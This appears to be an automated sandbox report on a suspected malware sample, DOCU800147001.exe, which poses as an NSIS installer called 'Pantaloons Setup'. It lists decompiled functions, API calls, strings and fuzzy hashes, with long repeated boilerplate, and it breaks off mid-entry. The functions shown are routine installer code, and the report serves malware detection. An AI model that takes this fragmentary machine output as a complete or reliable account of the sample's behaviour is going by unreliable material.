Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 504712adeadd9352c4a14490f0cd0c9c0cfaa5826e6c2da3921648d7ab385779
Instruction ID: 93a9953827b1cdb6b1926f3dfe8af3c360bd0244c58553ac49039ba424eb549a
Opcode Fuzzy Hash: 504712adeadd9352c4a14490f0cd0c9c0cfaa5826e6c2da3921648d7ab385779
Instruction Fuzzy Hash: A8016770940208BBDF209F60DD09FAE3B79BB00304F008039FA06B92D1D7B9A951CF59

Function 00401D26 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040A7A0), ref: 00401DA1

Strings

Times New Roman, xrefs: 00401D87

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: f464e6d0882b5c2191551a389ba8d262eda501ef9214cc2c7c2ee5dc89c7df3b
Instruction ID: 685ed0ca33fa1d5999e3341403fc008963373260a57280c7a8a131362965c6fe
Opcode Fuzzy Hash: f464e6d0882b5c2191551a389ba8d262eda501ef9214cc2c7c2ee5dc89c7df3b
Instruction Fuzzy Hash: DD0162B1958340AFE7015BB09E1AB9B3F74E765305F108479F541B72E2C67854158B2B

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6a7fd0796aeac66ebd7eda05d6bf607f08eb548159e523f52aa5a656427483f4
Instruction ID: 854dc7b36677132a153458acbc54d2aec341d78ddb5050a54aa2f8e30eae251c
Opcode Fuzzy Hash: 6a7fd0796aeac66ebd7eda05d6bf607f08eb548159e523f52aa5a656427483f4
Instruction Fuzzy Hash: 57F062B2D04114AFE701EBA4DD88CAF77BCEB44301B004576F501F2091C7389D018B79

Function 0040464E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079E4F8,0079E4F8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,0040456E,000000DF,0000040F,00000400,00000000), ref: 004046DC
wsprintfA.USER32 ref: 004046E4
SetDlgItemTextA.USER32(?,0079E4F8), ref: 004046F7

Strings

%u.%u%s%s, xrefs: 004046C6

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: b375c85bb42af5e6a4a82e1401f3ed5588ebe652851f1932bf97f9dd6594575d
Instruction ID: cb72ff88f5f2b4ba7204730e7c77314340c58308aab751b64ccb2cc1a1ae2234
Opcode Fuzzy Hash: b375c85bb42af5e6a4a82e1401f3ed5588ebe652851f1932bf97f9dd6594575d
Instruction Fuzzy Hash: 6D11087360013437DB0061699C46EAF376DDBC6374F14463BFA29F61D2E979AC1182E9

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e99dd21401efed87dc49a6cbbfa93a04913e4a180baa6c9a590e864f9320e764
Instruction ID: 4b9cb6e92412fb6e6e80457b7b9377e947a39d5b648e27d3fa4f73b4a66c0764
Opcode Fuzzy Hash: e99dd21401efed87dc49a6cbbfa93a04913e4a180baa6c9a590e864f9320e764
Instruction Fuzzy Hash: E321A171A04208AEEF05AFB4CD4AAAE7AB5AB40304F10457AF541B61D1D6B889409718

Function 004038C8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Pantaloons Setup), ref: 00403960

Strings

Pantaloons Setup, xrefs: 0040394F
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 004038C9
1033, xrefs: 004038CC, 004038D6, 00403947

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$1033$Pantaloons Setup
API String ID: 530164218-4027206549
Opcode ID: 4175e075b01ad65f8282afdac58c2cd915722d9bffd7f40478f4155676e6cd52
Instruction ID: 7f85c913c4ad4b2c7e28f7c5eb066f69db857395fa0ea2f0da5054c576734154
Opcode Fuzzy Hash: 4175e075b01ad65f8282afdac58c2cd915722d9bffd7f40478f4155676e6cd52
Instruction Fuzzy Hash: 461104B5B006109FD320AF15DC809373BACEBC6356728827BE801A73E0C77DAD028B58

Function 0040560A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405610
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233410,0040327D), ref: 00405619
lstrcatA.KERNEL32(?,00409014), ref: 0040562A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040560A

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction ID: f0a200e34b5deac35b36b8c3e513a2bba311d5b4005e9f4ea20cd842f48867ab
Opcode Fuzzy Hash: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction Fuzzy Hash: 16D0A962605D302AD2022615AC0AE8B7A68CF06305B040422F200B62A3C63C2D418BFE

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405AD8: wsprintfA.USER32 ref: 00405AE5

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 57426068bb78e7fc12ff25959f7bd679cb8cd8833ff19df23162cb9bd9f4a020
Instruction ID: cf871c65d4e4f3ee9653570a57c4ed279446943cd2c239248b6b376061a1ea1e
Opcode Fuzzy Hash: 57426068bb78e7fc12ff25959f7bd679cb8cd8833ff19df23162cb9bd9f4a020
Instruction Fuzzy Hash: 3F115AB2900108BEDB01AFA5D881DEEBBB9EF04344F10807AF505F21A1E7789A54DB28

Function 004056A3 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,0040570F,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004056B1
CharNextA.USER32(00000000), ref: 004056B6
CharNextA.USER32(00000000), ref: 004056CA

Strings

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp, xrefs: 004056A4

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp
API String ID: 3213498283-2526228488
Opcode ID: b743ab26e54571032f58e362f9be0a160f4e35464d45215ae3ba9b7d85bee3d6
Instruction ID: a5f0db424de3ece2f93da8fa8465ac66cd1a9633bcd5b70ea5e8f5e09e52a010
Opcode Fuzzy Hash: b743ab26e54571032f58e362f9be0a160f4e35464d45215ae3ba9b7d85bee3d6
Instruction Fuzzy Hash: 04F0C251D04F602BFB3256240C54B775FACCB55360F980867E648662D2C6BE4C419FAA

Function 00402BC7 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DA7,00000001), ref: 00402BDA
GetTickCount.KERNEL32 ref: 00402BF8
CreateDialogParamA.USER32(0000006F,00000000,00402B44,00000000), ref: 00402C15
ShowWindow.USER32(00000000,00000005), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: edb15b2a557076f8163c7a3e93653ceb388576ec72b14a846b112ddb74d149d0
Instruction ID: 21b079e0603347407b0e8bea5ce89a635a222a91f4c3b4b14634b7546a67a8fd
Opcode Fuzzy Hash: edb15b2a557076f8163c7a3e93653ceb388576ec72b14a846b112ddb74d149d0
Instruction Fuzzy Hash: 7BF03A3080A620BFC6526F24BE4DA8F7B64EB05B52B504866F104B51A4D778A8828BEC

Function 00404DD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E08
CallWindowProcA.USER32(?,?,?,?), ref: 00404E59

Part of subcall function 00403EB4: SendMessageA.USER32(00010438,00000000,00000000,00000000), ref: 00403EC6

Strings

, xrefs: 00404DE9

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 5ed24ab9ef33d489e1b468578e452bb34f2c3a50ff0390caf4459e3fa9b2335e
Instruction ID: 160e060997078783acc2d08be4eebd9c773d2cb3c3e72dd3afa02660fee5d696
Opcode Fuzzy Hash: 5ed24ab9ef33d489e1b468578e452bb34f2c3a50ff0390caf4459e3fa9b2335e
Instruction Fuzzy Hash: 7E0171B1100248AFDF219F11DD84A9B3B2AFBC4715F104037FB04762E1C3399C5296AA

Function 004056F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405B7A: lstrcpynA.KERNEL32(?,?,00000400,0040313B,Pantaloons Setup,NSIS Error), ref: 00405B87

Part of subcall function 004056A3: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,0040570F,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004056B1
Part of subcall function 004056A3: CharNextA.USER32(00000000), ref: 004056B6
Part of subcall function 004056A3: CharNextA.USER32(00000000), ref: 004056CA

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 0040574B
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410), ref: 0040575B

Strings

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp, xrefs: 004056FE, 00405703, 00405709, 00405744, 0040574A, 00405752, 0040575A

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp
API String ID: 3248276644-2526228488
Opcode ID: 62525b7c2a38e913442d275aa1c28f230d0f9bde0bdea29c2ebf83fee8925d4c
